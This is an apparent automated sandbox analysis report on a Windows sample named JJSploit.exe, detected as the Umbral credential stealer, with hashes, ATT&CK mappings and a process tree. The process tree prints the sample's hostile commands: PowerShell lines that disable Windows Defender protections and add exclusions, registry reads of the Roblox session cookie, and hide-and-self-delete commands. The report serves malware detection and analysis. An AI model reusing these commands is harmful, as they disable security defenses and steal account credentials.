umbral | 8ce258cbd6a16100e4426017ba842a2822c0cd0e59ba361cf731d474d45a090d

Analysis

max time kernel
91s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
07-12-2024 13:55

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General

Target

JJSploit.exe
Size

305KB
MD5

515ebbb324353bb1d90cf1da9d7979a7
SHA1

4f8c4e8d9a4d187fcefd3f83629cdbb0919d2281
SHA256

8ce258cbd6a16100e4426017ba842a2822c0cd0e59ba361cf731d474d45a090d
SHA512

b45bb1d0e9beee86d702a3c9d6490398b260f65311b7c04d97cf4eb8df85ba2081f752aa1ef5b0df350ed14796e42b636f559c4cd689f3a416dfc8ed6fa64e42
SSDEEP

6144:ZloZMzrIkd8g+EtXHkv/iD4/pmHAmB5Kb/Cwhl0Hyb8e1mcDiDDIQgbUX07P1d7:roZcL+EP8/pmHAmB5Kb/Cwhl0ekDk5d7

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/760-1-0x0000024FB12B0000-0x0000024FB1302000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2860	powershell.exe
6124	powershell.exe
4352	powershell.exe
5888	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	JJSploit.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4944	cmd.exe
5948	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
456	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5948	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
760	JJSploit.exe
2860	powershell.exe
2860	powershell.exe
5888	powershell.exe
5888	powershell.exe
6124	powershell.exe
6124	powershell.exe
4708	powershell.exe
4708	powershell.exe
4352	powershell.exe
4352	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	760	JJSploit.exe
Token: SeIncreaseQuotaPrivilege	5400	wmic.exe
Token: SeSecurityPrivilege	5400	wmic.exe
Token: SeTakeOwnershipPrivilege	5400	wmic.exe
Token: SeLoadDriverPrivilege	5400	wmic.exe
Token: SeSystemProfilePrivilege	5400	wmic.exe
Token: SeSystemtimePrivilege	5400	wmic.exe
Token: SeProfSingleProcessPrivilege	5400	wmic.exe
Token: SeIncBasePriorityPrivilege	5400	wmic.exe
Token: SeCreatePagefilePrivilege	5400	wmic.exe
Token: SeBackupPrivilege	5400	wmic.exe
Token: SeRestorePrivilege	5400	wmic.exe
Token: SeShutdownPrivilege	5400	wmic.exe
Token: SeDebugPrivilege	5400	wmic.exe
Token: SeSystemEnvironmentPrivilege	5400	wmic.exe
Token: SeRemoteShutdownPrivilege	5400	wmic.exe
Token: SeUndockPrivilege	5400	wmic.exe
Token: SeManageVolumePrivilege	5400	wmic.exe
Token: 33	5400	wmic.exe
Token: 34	5400	wmic.exe
Token: 35	5400	wmic.exe
Token: 36	5400	wmic.exe
Token: SeIncreaseQuotaPrivilege	5400	wmic.exe
Token: SeSecurityPrivilege	5400	wmic.exe
Token: SeTakeOwnershipPrivilege	5400	wmic.exe
Token: SeLoadDriverPrivilege	5400	wmic.exe
Token: SeSystemProfilePrivilege	5400	wmic.exe
Token: SeSystemtimePrivilege	5400	wmic.exe
Token: SeProfSingleProcessPrivilege	5400	wmic.exe
Token: SeIncBasePriorityPrivilege	5400	wmic.exe
Token: SeCreatePagefilePrivilege	5400	wmic.exe
Token: SeBackupPrivilege	5400	wmic.exe
Token: SeRestorePrivilege	5400	wmic.exe
Token: SeShutdownPrivilege	5400	wmic.exe
Token: SeDebugPrivilege	5400	wmic.exe
Token: SeSystemEnvironmentPrivilege	5400	wmic.exe
Token: SeRemoteShutdownPrivilege	5400	wmic.exe
Token: SeUndockPrivilege	5400	wmic.exe
Token: SeManageVolumePrivilege	5400	wmic.exe
Token: 33	5400	wmic.exe
Token: 34	5400	wmic.exe
Token: 35	5400	wmic.exe
Token: 36	5400	wmic.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	6124	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeIncreaseQuotaPrivilege	3988	wmic.exe
Token: SeSecurityPrivilege	3988	wmic.exe
Token: SeTakeOwnershipPrivilege	3988	wmic.exe
Token: SeLoadDriverPrivilege	3988	wmic.exe
Token: SeSystemProfilePrivilege	3988	wmic.exe
Token: SeSystemtimePrivilege	3988	wmic.exe
Token: SeProfSingleProcessPrivilege	3988	wmic.exe
Token: SeIncBasePriorityPrivilege	3988	wmic.exe
Token: SeCreatePagefilePrivilege	3988	wmic.exe
Token: SeBackupPrivilege	3988	wmic.exe
Token: SeRestorePrivilege	3988	wmic.exe
Token: SeShutdownPrivilege	3988	wmic.exe
Token: SeDebugPrivilege	3988	wmic.exe
Token: SeSystemEnvironmentPrivilege	3988	wmic.exe
Token: SeRemoteShutdownPrivilege	3988	wmic.exe
Token: SeUndockPrivilege	3988	wmic.exe
Token: SeManageVolumePrivilege	3988	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 760 wrote to memory of 5400	760	JJSploit.exe	79
PID 760 wrote to memory of 5400	760	JJSploit.exe	79
PID 760 wrote to memory of 1736	760	JJSploit.exe	82
PID 760 wrote to memory of 1736	760	JJSploit.exe	82
PID 760 wrote to memory of 2860	760	JJSploit.exe	84
PID 760 wrote to memory of 2860	760	JJSploit.exe	84
PID 760 wrote to memory of 5888	760	JJSploit.exe	86
PID 760 wrote to memory of 5888	760	JJSploit.exe	86
PID 760 wrote to memory of 6124	760	JJSploit.exe	88
PID 760 wrote to memory of 6124	760	JJSploit.exe	88
PID 760 wrote to memory of 4708	760	JJSploit.exe	90
PID 760 wrote to memory of 4708	760	JJSploit.exe	90
PID 760 wrote to memory of 3988	760	JJSploit.exe	92
PID 760 wrote to memory of 3988	760	JJSploit.exe	92
PID 760 wrote to memory of 2732	760	JJSploit.exe	94
PID 760 wrote to memory of 2732	760	JJSploit.exe	94
PID 760 wrote to memory of 3324	760	JJSploit.exe	96
PID 760 wrote to memory of 3324	760	JJSploit.exe	96
PID 760 wrote to memory of 4352	760	JJSploit.exe	98
PID 760 wrote to memory of 4352	760	JJSploit.exe	98
PID 760 wrote to memory of 456	760	JJSploit.exe	100
PID 760 wrote to memory of 456	760	JJSploit.exe	100
PID 760 wrote to memory of 4944	760	JJSploit.exe	102
PID 760 wrote to memory of 4944	760	JJSploit.exe	102
PID 4944 wrote to memory of 5948	4944	cmd.exe	104
PID 4944 wrote to memory of 5948	4944	cmd.exe	104

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1736	attrib.exe

C:\Users\Admin\AppData\Local\Temp\JJSploit.exe
"C:\Users\Admin\AppData\Local\Temp\JJSploit.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5400
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\JJSploit.exe"
  2⤵
  - Views/modifies file attributes
  PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\JJSploit.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3988
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2732
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4352
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\JJSploit.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e8eb51096d6f6781456fef7df731d97

SHA1
ec2aaf851a618fb43c3d040a13a71997c25bda43

SHA256
96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

SHA512
0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
45741c307af2576c6437c5fdb24ef9ce

SHA1
a6ba7a7705db14ac29a18a98dd7deb4cc759c3bf

SHA256
7887859f7179e194ff9b78f8d8fa3830790110a01597f21ff48c84cd935e49d2

SHA512
39fdc5931563cbf826e8b643b5f0dcdf45bb6f95a8eeb460499257ca41b3dbee4c692eaacc3fd33bddf4b6ff0c828981ed7e9cd080007bbb9f0b28e7d0d66941

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
991e8f3bdc04acca98024f7311752070

SHA1
76005ee90a2772414bc7231d6192a942dde9d499

SHA256
788799ff1be9e0abccbadc1d574ed7f36e7bc6833d942b5c177ed4e50c6dae44

SHA512
b7ecfcc910ecf00694e1b65ff4aa34caeb8f05db2aa10ca032885d1262efe74dee874abaa1399297144259f3ce2a7e48301c79477c51c5369c5911742c4fc326

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nlkta4e.hwz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/760-67-0x0000024FCBB30000-0x0000024FCBB3A000-memory.dmp

Filesize
40KB

Download
memory/760-32-0x0000024FB2FD0000-0x0000024FB2FEE000-memory.dmp

Filesize
120KB

Download
memory/760-88-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

Filesize
10.8MB

Download
memory/760-83-0x00007FFC56A93000-0x00007FFC56A95000-memory.dmp

Filesize
8KB

Download
memory/760-2-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

Filesize
10.8MB

Download
memory/760-30-0x0000024FCBAB0000-0x0000024FCBB26000-memory.dmp

Filesize
472KB

Download
memory/760-31-0x0000024FB3000000-0x0000024FB3050000-memory.dmp

Filesize
320KB

Download
memory/760-68-0x0000024FCBB80000-0x0000024FCBB92000-memory.dmp

Filesize
72KB

Download
memory/760-1-0x0000024FB12B0000-0x0000024FB1302000-memory.dmp

Filesize
328KB

Download
memory/760-0-0x00007FFC56A93000-0x00007FFC56A95000-memory.dmp

Filesize
8KB

Download
memory/2860-12-0x00000225C2E90000-0x00000225C2EB2000-memory.dmp

Filesize
136KB

Download
memory/2860-14-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

Filesize
10.8MB

Download
memory/2860-13-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

Filesize
10.8MB

Download
memory/2860-3-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

Filesize
10.8MB

Download
memory/2860-17-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

Filesize
10.8MB

Download